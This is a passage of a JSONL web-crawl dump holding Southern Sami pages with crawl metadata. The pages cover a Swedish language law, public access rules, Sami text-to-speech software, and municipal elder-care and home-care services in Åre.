vååksjedidh","id":"","dump":"CC-MAIN-2017-04","url":"https:\/\/www.fylkesmannen.no\/sma\/Byjrese-jih-klijma\/Eatnemen-gellievoete\/","date":"2017-01-21T06:20:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-04\/segments\/1484560280929.91\/warc\/CC-MAIN-20170116095120-00568-ip-10-171-10-70.ec2.internal.warc.gz","language":"sma","language_score":1.000005126,"language_script":"Latn","minhash_cluster_size":44,"top_langs":"{\"sma_Latn_score\": 1.0000051259994507}","num_words":286,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.125,"stopwords_ratio":0.14,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Laaken sisvege jïh ulmie\nDaennie laakesne leah njoelkedassh Sveerjen gïelen bïjre, daj naasjovne unnebelåhkoengieli jïh Sveerjen tjaatsegïelen bïjre. Laakesne dovne leah njoelkedassh åejviej dïedti bïjre guktie fïere guhte galka gïelem åadtjodh jïh gïeleåtnoen bïjre byjjes barkoesijjine jïh gaskenaasjovne tsiehkine.\nLaaken ulmie lea Sveerjen gïelen jïh jeatjah gieli tsiehkiem jïh åtnoem vuesiehtidh Sveerjen sïebredahkesne. Laaken ulmie aaj Sveerjen gïelem vaarjelidh jïh dam gelliengïelen Sveerjem dovne dan akten nuepiem edtja gïelem åadtjodh.\nLagens innehåll och syfte\nI denna lag finns bestämmelser om svenska språket, de nationella minoritetsspråken och det svenska teckenspråket. Lagen innehåller även bestämmelser om det allmännas ansvar för att den enskilde ges tillgång till språk samt om språkanvändning i offentlig verksamhet och i internationella sammanhang.\nSyftet med lagen är att ange svenskans och andra språks ställning och användning i det svenska samhället. Lagen syftar också till att värna svenskan och den språkliga mångfalden i Sverige samt den enskildes tillgång till språk.","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/are.se\/kommunpolitik\/samiska\/gielelaake","date":"2017-02-25T18:05:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501171807.25\/warc\/CC-MAIN-20170219104611-00562-ip-10-171-10-108.ec2.internal.warc.gz","language":"sma","language_score":0.9382611513,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"sma_Latn_score\": 0.9382611513137817, \"swe_Latn_score\": 0.05699359253048897}","num_words":151,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.099,"flagged_words_ratio":0.0,"lang_id_score":0.955,"perplexity_score":500.0,"cluster_detection":1} +{"text":"(30.04.2013)\nGosse au pair leah, dellie fuelhkine ektesne jeatja laantesne årroeh. Datne eevre goh fuelhkeste jijtje, jijtjedh tjiehtjelem jallh gåetieluhpiem åadtjoeh. Dov barkoeh leah maanide sujhtedh, aereden jih iehkeden maanide bïssedh, maanah joekehth darjomesijjide saehtedh – jih maahtah dån tjoeverh ånnetji gåetesne barkedh. Daej åvteste beabpmoeh, gåetieluhpiem\/ tjiehtjelem jih ånnetji beetnegh åadtjoeh. Jeenemes daejnie au pair-programmine aaj kuvsjh, college jallh universitete.","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/www.unginordland.no\/infonuorra\/aarjelsaemiengiele\/barkoe\/","date":"2017-02-25T22:40:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501171900.13\/warc\/CC-MAIN-20170219104611-00060-ip-10-171-10-108.ec2.internal.warc.gz","language":"sma","language_score":0.9999951124,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999951124191284}","num_words":59,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.174,"stopwords_ratio":0.102,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Byögkelesvoetelaake\nGaajhkesh maehtieh gihtjedh mejtie åadtjoeh aamhtesetjaatseginie vuejnedh dej reeremeåårgani luvnie mah leah byögkelesvoetelaakeste feerhmesovveme. Nåhtedh Offentlig elektronisk postjournal (OEP) juktie gihtjedh mejtie åadtjoeh prievine jïh tjaatseginie vuejnedh staateles gïehteldimmijste.\nFylhkenålma bïhkede jïh raerieh vadta byögkelesvoetelaaken suerkesne, gaskem jeatjah tjïeltide. Byögkelesvoetelaaken mietie dle rïektesisnie gaajhkesh åadtjoeh reeremen aamhtesetjaatseginie vuejnedh. Laake aaj faamoem åtna såemies jïjtjeraarehke reaktasubjektide gusnie byögkelesvoete aktem stoerre aajhterelåhkoem åtna, vuesiehtimmien gaavhtan energije- jïh sjïekedimmiesïelth.\nNyöjhkeme vuejnemen bïjre\nNyöjhkeme vuejnemen bïjre edtja iktegisth tjaaleldh årrodh, jïh edtja dan nænnoestæmman laakesne vuesiehtidh mij våaromem vadta bïevnesidie lutniestidh. Jalhts reakta gååvnese vuejnemem nyöjhkedh, dle reeremeåårgane læjhkan edtja vuarjasjidh mejtie datne åadtjoeh tjaatseginie vuejnedh jallh bïevnesh åadtjodh tjaatsegisnie. Daate lea prinsihpen mietie vieliebyögkelesvoeten bïjre. Bïevnesh mej åvteste sjeavohtsvoetedïedtem åtna, eah leah byögkeles.\nKlååkemem laejhtedh vuejnemen bïjre\nJis tjïelten jallh fylhkentjïelten åårganh jallh byögkeles reaktasubjekth leah dov ohtsemem vuejnemen bïjre nyöjhkeme, maahtah Fylhkenålmese klååkedh. Jis datnem nyöjhkeme Fylhkenålman tjaatseginie vuejnedh, dle Orrestehteme-, reereme- jïh gærhkoedepartemeente klååkemesuerkie. Edtja aktem klååkoem byögkelesvoetelaaken mietie voestegh seedtedh dan åårganese mij vuejnemem nyöjhki, mij aaj edtja aamhtesem gïetedidh.","id":"","dump":"CC-MAIN-2017-09","url":"https:\/\/www.fylkesmannen.no\/sma\/Almetjh-jih-siebriedahke\/Byogkelesvoetelaake\/","date":"2017-02-26T03:30:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501171933.81\/warc\/CC-MAIN-20170219104611-00124-ip-10-171-10-108.ec2.internal.warc.gz","language":"sma","language_score":1.0000041723,"language_script":"Latn","minhash_cluster_size":44,"top_langs":"{\"sma_Latn_score\": 1.0000041723251343}","num_words":171,"character_repetition_ratio":0.109,"word_repetition_ratio":0.0,"special_characters_ratio":0.121,"stopwords_ratio":0.099,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tekste-soptsestæmman\nDivvun jïh Saemiedigkie leah noerhtesaemien tekste-soptsestæmman-programmem Acapeline ektine dorjeme. Soptsestimmiesyntese, jallh tekste-soptsestæmman, nuepiem maskinese vadta tekstem soptsestæmman jeatjahtehtedh gelline programmine. Skjeermelohkemepgrogrammine maahta gaajhkem tekstem, mij skjeermesne vååjnoe, lohkedh. Göökte saemien gïeleh leah, akten nyjsenæjjan (\"Elle\") jïh mubpie gaarmanæjjan lea (\"Biera\").\nNoerhtesaemien tekste-soptsestæmman-systeeme gööktene versjovnesne leah, utniejidie:\n- Noerhtesaemien Infovox 4 for Windows\n- Noerhtesaemien iVox for OS X\nNoerhtesaemien Infovox (Windowsasse) maahta namhtah Saemiedigkeste dongkedh jïh debpede mojhtessaegkie seedtesåvva Divvun-dåehkeste UiT:esne (email@example.com). Mojhtessaegkie lea persovneladtje, dam maahta destie vaeltedh, goh lea sijjiedahteme. Mojhtessaegkie aaj nuepiem vadta soptsestimmie-syntesem jeatjah maskinine utnedh, juktie gåarede vaeltedh dam mealtan jïh tsagkedh jeatjah maskinide, jïh rïekte mojhtessaegkeste soptsestimmiessyntesem utnedh. Vielie bïhkedassh dan bïjre daestie gaavnh daesnie (noerhtesaemien).\niVox for OS X:m maahta namhtah vïedtjedh daestie. Gosse dejtie noerhtesaemien gïelide utnedh, dle kodem daarpsjh. Dam kodem åadtjoeh namhtah Divvun-dåehkeste UiT:esne (firstname.lastname@example.org). Bïhkedassh guktie sijjiedehtedh jïh dam utnedh, daestie åadtjoeh daesnie (sveerjengïelesne) og daesnie (englaantegïelesne).\nAcapelan lea jïjtse demo-bielie gusnie åådtje dejtie saemien gïelide prövedh tekstijste.\nMaahta aaj sjïehtesjidh dejtie gïelie jis daerpies. Bïhkedassh dan bïjre daesnie leah Acapela's gïelebïhkedassh noerhtesaemien gïelese. Gïelebïhkedasse boejhkele guktie dah gïelh naan konstruksjovnide luhkieh, mohte govhtedinie jïh tjïjhtjedinie kapihtelisnie åadtjoeh aaj daejredh guktie maahtah jïjtje dejtie gïelie sjïehtesjidh.\ninstitusjovneluhpieh\nDivvun Jis daerpies luhpieh almetjidie, vg. akten institusjovnese. Jis sïjhth serverem tseegkedh gusnie TTS-faaleldahkh, bïeljelh amma Acapelasse (kontaktinfo nedenfor).\nEvtiedæjjide\nNoerhtesaemien tekste-soptsestæmman-systeeme gelline versjovnine leah, sjïehtesjamme evtiedæjjide jïh jeatjabidie mah sijhtieh soptsestimmie-syntesem jeatjah programmide jïh systeemide bïejedh:\n- SDK: Acapela TTS Windowsasse – PC\n- SDK: Acapela TTS Windowsasse – Server\n- SDK: Acapela TTS Linuxasse – Server\n- SDK: Acapela TTS OS X:ese\nSDK-versjovnh maahta rïekte Acapeleste dængkedh. Bïeljelh Susanne Magnussonem (email@example.com, tlf +46 8 799 86 02) jïs åtnah maam joem gihtjedh daej versjovni bïjre.","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/divvun.no\/sma\/tale\/tale.html","date":"2017-02-26T05:34:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501171936.2\/warc\/CC-MAIN-20170219104611-00325-ip-10-171-10-108.ec2.internal.warc.gz","language":"sma","language_score":0.9999399185,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"sma_Latn_score\": 0.9999399185180664}","num_words":271,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.1,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Hijven telefovnhnommerh dov tjïeltesne damtedh\nAkten buerie aamhtesem Ååren tjïeltesne lea ahte öörnedh ihke båeries almetjh tjïeltesne nuepiem åadtjoeh healsoem gorredidh jih akten eadtjohkelaakan jih jïjtjemese-tjirkemes jielemem utnedh dan guhkies guktie gåerede. Ååren tjïelte lea ektiebarkosne primärsåjhtojne akten pryövemedarjoem aalkeme, gusnie almetjh mah 75 jaepien båeries akten åvtebigkijes hïejmemïnnemem faelieh. Ulmie lea ahte dïhte åvtebigkijes hïejmemïnnemem edtja abpetijje darjoem tjïelten jih laantedigkien healsoe-eevtiedimmie barkosne sjïdtedh. Daennie plaeresne datne åadtjoeh ånnetji tjïelten jih laantedigkien darjoen bïjre daejredh jih aaj hijven telefovnhnommerh juktie damtedh.\nViehkie, hïejmedïenesje, sjïere årromesijjem\nJis datne gyhtjelassh hïejmedïenesjen, sjïere årromesijjen, bepmoejoekedimmien jih jearsoesvoetelarmen bïjre j.j. åtnah, datne leah buerie båeteme ihke viehkiegïetedallijem tjïeltesne gaskesadtedh jih akten jiehtegem barkoen bïjre govledh. Datne dejtie åestijedïenesjen tjïrrh jaksh, 0647- 161 00.\nÖörnijedïenesjh\nJis datne viehkiem öörnijedïenesjigujmie daarpesjh vuesiehtimmien gaavhtan laamhpam målsodh, klaaselijnieh gävnjoestidh, dållebieljelimmiem bäjjese bïejedh, loeves el-rïejhph dibrehtidh, lapteste jallh tjeallaristie tjåenieh veedtjedh, jallh mij jeatjah, maahtah tjïelten öörnijem gaskesadtedh, 0647-163 54.\nDatne maahtah aaj Ååren barkoemaarhna-aktesem gaskesadtedh gosse daerpiesvoetesne leah, dah maehtieh viehkiehtidh kraesiebietskiedimmine, lopmebaelinie, moerhtjoehpeminie jih aelhkebe gaerhtiebarkoejgujmie. Datne dejtie åestijedïenesjen tjïrrh jaksh, 0647-161 00.\nHïejmeskïemtjesåjhtoem\nHïejmeskïemtjesåjhtoeh maehtieh digkedimmien männgan vedtedh gåabpegh sïejhme årromesijjesne jih sjïere årromehammojne. Daerpiesvoetem hïejmeskïemtjesåjhtoste edtja tjåanghkoes boelhkesne årrodh jih maahta vuesiehtimmien gaavhtan viehkie bådtjajgujmie jih viehkiedalhketjigujmie årrodh. Jis dov lea daerpiesvoeth ihke gåetesne dov healsoe- jih skïemtjesåjhtoebarkojde åadtjodh, datne maahtah tjïelten dajve-\/skïemtjesåjhterigujmie, barkoeterapautigujmie jih skïemtjegymnastigujmie gaskesadtedh. Datne dejtie åestijedïenesjen tjïrrh jaksh, 0647-161 00.\nLïhkesadtje-iktedäjja\nJis datne aktem lïhkesadtjem syjhth jih raeriem jih dåarjegem daarpesjh, jeatjah almetjh råakedh gusnie seammalaakan lea, målsomem åadtjodh, soptsestidh j.j, datne leah buerie båeteme tjïelten lïhkesadtje-iktedäjjese bïeljelidh, 0647 – 164 64.\nGovleme jih vuajneme saadthalmetje\nJis datne hoksem vuejneme- jih govleme viehkiedalhketjigujmie viehkiem daarpesjh, datne maahtah tjïelten vuejneme-jih govleme saadthalmetjem gaskesadtedh, datne dejtie åestijedïenesjen tjïrrh jaksh, 0647 – 161 00.\nDåarjegem psykisken ov-vervide\nJis datne raeriem daarpesjh ov-verviej jih reaktaj bïjre jih gåabph datne edtjh datnem jårredh ihke dåarjegem jih viehkiem åadtjodh, datne maahtah tjïelten viehkiegïetedallijem gaskesadtedh, datne dejtie åestijedïenesjen tjïrrh jaksh, 0647 – 161 00.\nFealadimmiedïenesje\nDïhte gie ov-vervien gaavhtan ij maehtieh sïejhme saehtemigujmie dåeriedidh maahta fealadimmiedïenesjem åadtjodh. Dïhte lea Leenetrafihkem Staaresne mij dïedtem fealadimmiedïenesjistie åtna. Datne maahtah fealadimmiedïenesjegïetedallijidie gaskesadtedh, 063- 16 82 00.\nLïhketrafihkem jih Tjåarvohtsh-stuvreme raastetrafihkem\nLïhketrafihkem gåerede nuhtjedh ihke voenide båetedh gusnie bovre, baangke jih jeatjah hoksetimmieh utnieh. Tjåarvohtsh-stuvreme raastetrafihkem lea gaskesem sïejhme busseraastetrafihkese. Jienebh bïevnesh jih dongkemem fealadimmeste, gaskesadth Leenetrafihkem, 020–85 00 85 jallh www.ltr.se.\nMïelh jih laejhtemem\nMijjen ulmie lea ahte buerie kvaliteetem mijjen darjojne utnedh. Mijjieh sïjhtebe ahte datne mij barkoem Ååre tjïeltien hïejmesåjhtoste vaaltah edtjh fuakoes barkoejgujmie damtedh jih tuhtjedh ahte buerie gaavnedimmiem åadtjoeh. Dan gaavhtan mijjieh tuhtjebe gaajh hijven dov mïelide daejredh- dellie mijjieh nuepiem utnebe mijjem bueriedidh. Jis dov naan mïelh\/laejhtemh mijjen darjose åtnah edtjh datne akteseåejviem, gaskesadtedh dennie darjosne gusnie aamhtese lea, datne dejtie åestijedïenesjen tjïrrh jaksh, 0647-161 00.\nLaantedigkien darjoem\nAlmetjidie Ååren tjïeltesne lea buerie jielemekvaliteetem gosse healso- jih skïemtjesåjhtoen lïhke lea. Healsojarngide jih Staaren skïemtjegåetie dïedtem abpe dygnesne dov healsose utnieh. Gosse dåastijem biejjegen, jih joure jih dallah vuertiemisnie iehkedi jih jïjjide, datne kontinuiteetem, jolle kvaliteetem jih jearsoesvoetem åadtjoeh.\nDatne voestegh healsoejarngese gaskesadth jis datne skïemtjes sjïdth, laarhkenamme jallh raerien mietie gihtjedh.\nHealsoejarngh\nJis datne daerpiesvoeth åtnah gaskesadth dov healsoejarngem. Daesnie healsoejarngh gååvnesieh,\nHallenen healsoejarnge 0643–44 55 00\nJärpenen healsoejarnge 0647–165 50\nÅåren healsoejarnge 0647–166 00\nSkïemtjehokseraeriestimmie\nVoestegh datne edtjh dov healsoejarngese jårredh , bene gosse healsoejarnge steegkeldahkesne lea jallh ij leah nuepiem gaajhkide telefovnide dåastoehtidh, datne leah buerie båeteme skïemtjehokseraeriestimmiem ringkedh 1177.\nApoteke\nIhke raeriem jih bådtjabyjjetimmiem åadtjodh, mïnnh mijjen apotekidie mah tjïeltesne, Ååresne jih Järpenisnie gååvnesieh, jallh apotekem abpe dygnem gaskesadtedh, gaajhkide biejjide, 0771–450 450 jallh\nwww.apoteket.se\nSkïemtjefealadimmieh\nDatne mij saehtemem skïemtjegåatan daarpesjh jallh jeatjah såjhtose maahtah dåarjoem laantedigkeste åadtjodh. Ihke bïevnesh njoelkedassi bïjre, ringkh Leenetrafihken skïemtjefealadimmietelefovne, öörhtje-biejjide gaskoe 10.00 – 12.00, 063 – 168212, jallh bïevnesh gaavnedh Laantedigkien hïejmesijjesne, http:\/\/www.regionjh.se\/\nLaantedigkiekataloge\nLaantedigkiekataloge Jïemhten leenelaantedigkeste olkese vedtien jih akten katalogem lea mah sïsvegh leah gaskesadthbïevnesh jih jeatjah vihkeles bïevnesh healsoe- jih skïemtjesåjhtoen bïjre leenesne. Kataloge lea laantedigkien aerebi bïevnesh mah telefovnekatalogen plaave säjrojde tjåådtjeme, jih gaajhkide gåetieguntide fïerhten jaepien seedtien. Ringkh 063 – 147650 jallh e-påastem seedth jis datne sïjhth jienebh katalogh dongkedh Den här e-postadressen skyddas mot spambots. Du måste tillåta JavaScript för att se den.\nSkïemtjijeereaktah\nGoh skïemtjije healsoe- jih skïemtjesåjhtosne, dov leah ovmessie reaktah mah leah vihkeles dutnjien daejredh. Dov leah reaktah daajedimmies bïevnesh dov healsoen bïjre jih dov nuepieh gïehtjedimmien- jih gïetedallemen bïjre åadtjodh. Datne edtjh aaj bïevnesh åadtjodh gusnie datne maahtah laejhtemigujmie jårredh. Jis laejhtemh datne maahtah skïemtjijemoenehtsem gaskesadtedh, 063 – 14 75 58 jallh e-påaste Den här e-postadressen skyddas mot spambots. Du måste tillåta JavaScript för att se den.\nSiebrieh jih åårganisasjovnh\nJis datne lyjhkh jeatjah almetjigujmie årrodh, ovmessie siebrieh jih åårganisasjovnh tjïeltesne gååvnese. Vuelnie vååjnoes ovmessie siebrieh jih åårganisasjovnh. Jienebh goh daejtie aaj, Rööpses kroessem, hïejmevoenesiebrieh, ovmessie siebrieh ov-vervide jih saavresesiebrieh gååvnese.\nVuesiehtimmieh ovmessie faaleldahkide\nVoeressiebride (PRO; SPF jih RPG) tjïeltesne gååvnesieh jih ovmessie byjrehks siebride leah mah lïhtsegidie ovmessie darjomh faelieh. Bingo, boule, lohkemegievlieh jih fealadimmieh leah naakenh dejstie ovmessie darjomh mah faalen.\nGellie darjomh åålmegidie ovmessie siebride tjïeltesne faalen. Dah vuesiehtimmien gaavhtan utnieh joptseaeredsbiejjiebeapmoeh, laavloestååntetjh jih mïnnemedåehkieh. Faaleldahkide maehtieh ovmessie årrodh ovmessie biehkide tjïeltesne. Jis datne sïjhth jienebh daejredh datne maahtah aaj siebrem\/åårganisajovnem riekte gaskesadtedh.\nVoeresjarnge\nVoeresjarnge jienebh tjïelten biehkijste gååvnesieh jih evtiedieh tjïelten jih dah jïjtjesyjhtehts åårganisasjovni gaskoe. Prograammh gusnie darjomh leah, bovride jih byjrehks bïevnesetaavline bïevnesieh.\nPrograammh datne aaj gaavnh tjïelten hïejmesijjesne www.are.se, nuelesne: socialt stöd\/äldrecenter. Jis datne sïjhth jienebh daejredh, gaskesadth dov byjrehks voeresåårganisasjovnem jallh sosialekontovrem, Ååre tjïelte telefovne 0647-161 00.\nEejehtimmie jih kultuvre\nGärjagåetie\nTjïelten gärjagåetesne datne gellieh gärjah, plaerieh jih baelieplaerieh, filmh, tjoejegärjah, aelhkielohkeme gärjah jih jienebh gaavnh. Datne aaj maahtah gärjagåetien datovrh gaskeviermine nuhtjedh. Jis datne sïjhth gärjagåetiem gaskesadtedh maahtah gärjagåetien ålkoelöönemedåastijem ringkedh, 0647–169 60.\nLaavkomegåetie\/saavremejarngh\nÅåren tjieltesne njielje tjïelten laavkomegåetieh gååvnese mah gaahpode aktem gosk golme iehkedh fïerhten våhkoen, jih aaj gellieh hotellh gusnie laavkoe- jih saavresejarngh. Jis datne sïjhth jienebh daejredh, ringkh eejehtallemekontovrem\n0647–162 14 jallh e-påastem, Den här e-postadressen skyddas mot spambots. Du måste tillåta JavaScript för att se den.","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/are.se\/kommunpolitik\/samiska\/tjielten-darjoem","date":"2017-03-28T19:30:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218189884.21\/warc\/CC-MAIN-20170322212949-00093-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":0.9999847412,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"sma_Latn_score\": 0.9999847412109375}","num_words":932,"character_repetition_ratio":0.067,"word_repetition_ratio":0.016,"special_characters_ratio":0.158,"stopwords_ratio":0.114,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bïenjespïele\n|ISBN:||\n\n\n9788273746627\n|Trykkeår:|\n|Utgitt:||\n\n\n2011\nGjennom brettspillet kan du bli kjent med tradisjonelle samiske hundenavn. Underveis i spillet skal du også utføre ulike typer oppgaver som en hundeier har. Brettspillet er utarbeidet ffor barnehagene. men passer for alle som ønsker å lære seg samiske hundenavn. Barbro Poggats har illustrert … LES MER fargerike kort og spillbrett. Spïelen vïeken dellie sïejhme saemien bienji nommigujmie åahpenadtedh. Spïelesne aaj galkh maam darjodh nimhtie guktie bïenje-burrie tjoevere darjodh. Spïele lea maanagïertide dorjesovveme. Nov gujht gaajhkide sjeahta mah sijhtieh saemien bienji nommh lïeredh. Barbro Poggats lea dejtie bïenjenkåarhtide guvviedamme jïh dovne spïelepleahtjoem. LES MINDRE","id":"","dump":"CC-MAIN-2017-13","url":"https:\/\/www.haugenbok.no\/Bienjespiele\/I9788273746627","date":"2017-03-25T05:43:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218188824.36\/warc\/CC-MAIN-20170322212948-00633-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":0.9680549502,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"sma_Latn_score\": 0.9680549502372742, \"nob_Latn_score\": 0.01701425574719906, \"sme_Latn_score\": 0.01301237940788269}","num_words":97,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.192,"stopwords_ratio":0.072,"flagged_words_ratio":0.0,"lang_id_score":0.973,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Lohkije-tjaalege\nGellie-såarhts tjaalegh\nDoh jeanatjommes lohkije-tjaalegh leah digkiedimmie-lahtesh, amma åenehks argumentereles tjaalegh aktine tjïelke veanhtojne, man åssjele lea lohkijem jaehkiehtidh. Men maehtebe aaj tjaalegh tjaeledh mah uvtemes edtjieh bievnedh:\nVuesiehtimmien gaavhtan, Saemien Sijte maahta bievnedh akten prosjekten bïjre, jallh akte privaate almetje maahta akten konserten bïjre tjaeledh mesnie satne orreme.\nAjve akten aamhtesen bïjre\nIj leah naan byjjes njoelkedassh guktie akte lohkije-tjaalege edtja vååjnedh, men jis sïjhth gellie lohkijh jaksedh, dellie dov tjaalege byöroe aktelaaketje årrodh. Tjaelieh dan åvteste åenehks jïh tjyölkehke, jïh ajve akten aamhtesen bïjre.\nAktene lohkije-tjaalegisnie datne dov persovneles vuajnojne båatah, desnie dov åssjaldahkh jïh domtesh tjaalah. Dov lea luhpie aatide ånnetji gïeregen nïlle bïejedh, jïh maahtah maaje ånnetji striengkies årrodh jis tuhtjh daerpies. Ih byörh almetjh håasedh, jïh tjoerh ajve rïektesem tjaeledh.\nNuhtjh gïeleviehkie-dïrregh\nAkte tjaalege nedtesne jallh paehpere-plaeresne tjuara lohkijen tsåatskelesvoeten bïjre gaahtjedh jïjnjh jeatjah tjaalegigujmie. Dan åvteste vihkeles datne buektehth lohkijen ïedtjem feengkedh guktie sæjhta dam lohkedh. Nuhtjh gïelem juktie domtesh gåaskodh, jïh tjaelieh naemhtie guktie lohkije datnem, tjaelijem laajhta.","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/ndla.no\/nb\/node\/173187?fag=126960","date":"2017-03-30T04:45:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218191986.44\/warc\/CC-MAIN-20170322212951-00106-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":1.0000009537,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000009536743164}","num_words":166,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.127,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Datne mij veeljh\nDov veeljemem lea nïmhtie, ahte datne jïjtje veeljh gie edtja dov hoksehtimmiedïenesjh darjodh mah tjïelte laeviehtamme.\nHoksehtimmiedïenesjh lea dåarjoenännoestimmie dïenesjh datne laeviehtamme mah leah sjeakomem, bïssemem jih åesiestimmiem.\nDatne maahtah veeljedh ahte hoksehtimmiedïenesjidie Ååren tjïelteste darjoen jallh jeatjah destie privaate företagistie mah tjïelteste dïedteme.\nJis ih maehtieh jallh sïjhth veeljedh\nDatne mij joe hoksehtimmiedïenesjh Ååren tjïelten hïejmesåjhtoste åtnah jih ih sïjhth jeatjah veeljemem darjodh, ih daarpesjh veeljedh.\nNaemhtie hïejmesåjhtoem Ååren tjïeltesne jåarhka dov hoksedïenesjidie darjodh.\nDatne mij hoksehtimmiedïenesjem voestes aejkesne laevehtamme åadtjoeh barkijem veeljedh gosse datne dov viehkienännoestimmiem åådtjeme.\nGuktie gåerede veeljedh?\nGosse datne eajhnadovveme gie datne sïjhth edtja dov barkojde darjodh edtjh datne viehkiegïetedallijem gaskesadtedh.\nGaskesadth\nRingkh tjïelten vikselem telefovnesne 0647 – 16100 jih gïhtjh jis åadtjoeh viehkiegïetedallijinie soptsetidh don dajvese gusnie datne årroeh.\nTjïelten hïejmesijjesne www.are.se\/omsorg&stöd datne riektenommerem gaavnh, tjïelten viehkiegïetedallijasse.\nMij dïhte maaksa?\nDatne maaksah seamma åasam dejtie hoksehtimmiedïenesjidie datne åadtjoeh, seamma gie barkijem datne veeljh. Åasam stuvrien mestie man gellieh hoksehtimmietäjmoeh datne fïerhten asken nuhtjeme jih mij nuepiem datne åtnah maeksedh.\nGuktie hoksehtimmiedïenesjidie edtjieh darjodh?\n- Dov nännoestimmiem viehkien mietie hoksehtimmiedïenesjidie lea maadtoem guktie darjomem edtja darjodh seamma mij barkije datne veeljh.\n- Datne maahtah jïjtje eajhnadovvedh mij datne viehkine daarpesjh mij gaektsie täjmoeh hoksehtimmiedïenesjinie fïerhten asken tjaakanieh.\n- Datne jih dov barkije tjaeliejägan guktie datne sïjhth dov hoksehtimmiedïenesjidie darjodh dov darjomesoejkesjimmesne.\nPrivaath företagh maehtieh lissiedïenesjh dutnjien faaledh. Dïhte maahta vuesiehtimmien gaavhtan lopebaelemem jih kraesiebietskiedimmiem årrodh.\nLissiedïenesjh datne jïjtje barkijijstie åastah, guktie barkijen åasa lissiedïenesjidie lea.\nMij deahpede jis ih leah fuakoes dov veeljeminie.\nDatne maahtah barkijem målsodh gosse datne sïjhth.\nJis datne sïjhth barkijem målsodh datne viehkiegïetedallijem gaskesadth.\nGåabph datne jårrh jis dov lea gyhtjelassh?\nJis datne sïjhth jienebh daejredh enn vaestiedassem daennie plaeresne åadtjoeh, datne maahtah barkijidie jårredh mij dov hoksehtimmiedïenesjidie darjoeh jallh viehkiegietedallijem gaskesadth.\nMannasinie Ååren tjïelte veeljemem hïejmesåjhtosne daajroehtamme?\nUlmiem ihke veeljemem hïejmesåjhtosne daajroehtidh lea ahte dutnjien goh utnije nuepiem vedtedh giese jiehtedh jih dutnjien nuepiem vedtedh veeljedh guktie dov hoksehtimmiedïenesjidie edtjieh darjodh. Mijjieh vïenhtebe ahte jienebh barkijh maehtieh darjodh ihke jolle kvaliteetem hïejmesåjhtosne sjädta.\nNännoestimmiem ihke veeljemem hoksehtimmiedïenesjijstie Ååren tjïeltesne daajroehtidh, tjïeltenreeremisnie rahkan 5 biejjien 2009 nännoestin.\nLaake veeljemen bïjre (LOV) maadtosne nännoestämman veeljemen bïjre lea.\nGuktie gåerede barkijem målsodh?\nSïjhth datne barkijem målsodh dellie datne viehkiegïetedallijem gaskesadth.\nRingkh tjïelten vikselem telefovnesne 0647-161 00 jih aanodh ihke viehkiegïetedallijinie soptsestidh don dajvese gusnie datne årroeh.\nTjïelten hïejmesijjesne are.se\/kontakt datne rïektenommerem tjïelten viehkiegïetedallijasse gaavnh.","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/are.se\/kommunpolitik\/samiska\/dov-veeljemem-hoksehtimmiedienesjijstie","date":"2017-03-24T17:51:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218188550.58\/warc\/CC-MAIN-20170322212948-00661-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":0.9999939203,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"sma_Latn_score\": 0.9999939203262329}","num_words":384,"character_repetition_ratio":0.111,"word_repetition_ratio":0.0,"special_characters_ratio":0.136,"stopwords_ratio":0.057,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Goh patiente healsoe- jïh skïemtjehoksesne muvhtene njoelkedassh jïh reaktah gååvnesieh mah 